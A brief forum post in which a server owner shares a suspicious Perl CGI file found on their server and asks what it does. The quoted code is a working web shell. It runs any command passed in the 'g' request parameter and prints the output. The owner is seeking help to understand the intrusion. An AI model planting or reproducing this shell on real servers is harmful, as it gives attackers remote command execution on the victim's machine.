Just found this cgi file on my server... looks a bit suspicious to me...
Code:
#!/usr/bin/perl
use CGI qw(:standard); print header; my $k=param("g"); my $a=param("a"); if ($a || $k) {$l=`$k 2>&1`; print start_form,textarea("g",$k,3,50); print submit("fuck base-x"); print end_form; print pre($l);} print $ENV{"NS2.ISPRIME.COM"};
Can anyone tell me what it does?
Thanks!